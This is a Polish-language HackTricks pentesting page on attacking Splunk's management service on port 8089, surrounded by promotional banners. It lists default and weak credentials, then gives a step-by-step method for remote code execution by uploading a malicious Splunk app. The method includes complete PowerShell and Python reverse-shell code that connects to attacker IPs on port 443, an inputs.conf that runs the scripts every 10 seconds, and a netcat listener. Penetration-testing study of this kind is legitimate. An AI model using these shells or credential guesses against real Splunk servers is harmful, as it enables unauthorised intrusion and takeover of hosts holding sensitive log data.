# 8089 - Testowanie penetracyjne Splunkd
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
## **Podstawowe informacje** Splunk to narzędzie do **analizy logów**, które odgrywa kluczową rolę w **zbieraniu, analizowaniu i wizualizacji danych**. Choć początkowo nie było przeznaczone do pełnienia roli narzędzia **SIEM (Security Information and Event Management)**, zyskało popularność w dziedzinie **monitorowania bezpieczeństwa** i **analizy biznesowej**. Instalacje Splunka są często wykorzystywane do przechowywania **danych poufnych** i mogą stanowić **cennego źródła informacji** dla potencjalnych atakujących, jeśli uda im się skompromitować system. **Domyślny port:** 8089 ``` PORT STATE SERVICE VERSION 8089/tcp open http Splunkd httpd ``` {% hint style="info" %} Serwer WWW **Splunk** domyślnie działa na porcie 8000. {% endhint %} ## Wyliczanie ### Wersja darmowa Po 60 dniach **okres próbny Splunk Enterprise** przekształca się w **wersję darmową**, która **nie wymaga uwierzytelnienia**. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształca się ona w wersję darmową, która nie posiada żadnej formy uwierzytelnienia, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami. ### Domyślne dane uwierzytelniające W starszych wersjach Splunka domyślne dane uwierzytelniające to **`admin:changeme`**, które wygodnie są wyświetlane na stronie logowania.\ Jednak **najnowsza wersja Splunka** ustawia **dane uwierzytelniające** **podczas procesu instalacji**. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić powszechne słabe hasła, takie jak `admin`, `Welcome`, `Welcome1`, `Password123`, itp. ### Pozyskiwanie informacji Po zalogowaniu do Splunka możemy **przeglądać dane**, uruchamiać **raporty**, tworzyć **wykresy**, **instalować aplikacje** z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.\ Można również uruchamiać kod: Splunk ma wiele sposobów **uruchamiania kodu**, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skryptowane dane wejściowe i skrypty alarmowe. Powszechną metodą zdobycia zdalnego wykonania kodu na serwerze Splunka jest użycie skryptowanego wejścia. Co więcej, ponieważ Splunk może być instalowany na hostach z systemem Windows lub Linux, można tworzyć skryptowane dane wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch. ### Shodan * `Splunk build` ## RCE ### Tworzenie niestandardowej aplikacji Niestandardowa aplikacja może uruchamiać **skrypty Pythona, Batch, Bash lub PowerShell**.\ Zauważ, że **Splunk ma zainstalowanego Pythona**, więc nawet na systemach **Windows** będzie można uruchamiać kod pythona. Możesz skorzystać z [**tego**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakietu Splunka, aby nam pomóc. Katalog **`bin`** w tym repozytorium zawiera przykłady dla [Pythona](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShella](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Przejdźmy przez to krok po kroku. Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów: ```shell-session tree splunk_shell/ splunk_shell/ ├── bin └── default ``` Katalog **`bin`** będzie zawierał wszelkie **skrypty, które zamierzamy uruchomić** (w tym przypadku odwrócony shell **PowerShell**), a domyślny katalog będzie zawierał plik `inputs.conf`. Nasz odwrócony shell będzie **jednolinijkowym skryptem PowerShell:** ```powershell $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close( ``` Plik [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) mówi Splunkowi **który skrypt uruchomić** i jakie są inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny. ```shell-session cat inputs.conf [script://./bin/rev.py] disabled = 0 interval = 10 sourcetype = shell [script://.\bin\run.bat] disabled = 0 sourcetype = shell interval = 10 ``` Potrzebujemy pliku `.bat`, który zostanie uruchomiony po wdrożeniu aplikacji i wykona polecenie PowerShell. Następnym krokiem jest wybranie opcji `Zainstaluj aplikację z pliku` i przesłanie aplikacji.
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą programu Netcat lub [socat](https://linux.die.net/man/1/socat). ```shell-session sudo nc -lnvp 443 listening on [any] 443 ... ``` Na stronie `Prześlij aplikację` kliknij przycisk przeglądaj, wybierz plik tarball, który wcześniej utworzyliśmy, a następnie kliknij `Prześlij`. Gdy tylko **załadujemy aplikację**, status aplikacji automatycznie zmieni się na `Włączony`, a my otrzymamy **odwrotną powłokę**. #### Linux Jeśli mielibyśmy do czynienia z hostem **Linux**, musielibyśmy **edytować skrypt Pythona `rev.py`** przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwrotną powłoką na naszym słuchaczu Netcat i moglibyśmy ruszyć do działania. ```python import sys,socket,os,pty ip="10.10.14.15" port="443" s=socket.socket() s.connect((ip,int(port))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn('/bin/bash') ``` ### RCE & Eskalacja uprawnień Na następnej stronie znajdziesz wyjaśnienie, jak można nadużyć tego usługi do eskalacji uprawnień i uzyskania trwałości: {% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} [splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md) {% endcontent-ref %} ## Odnośniki * [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.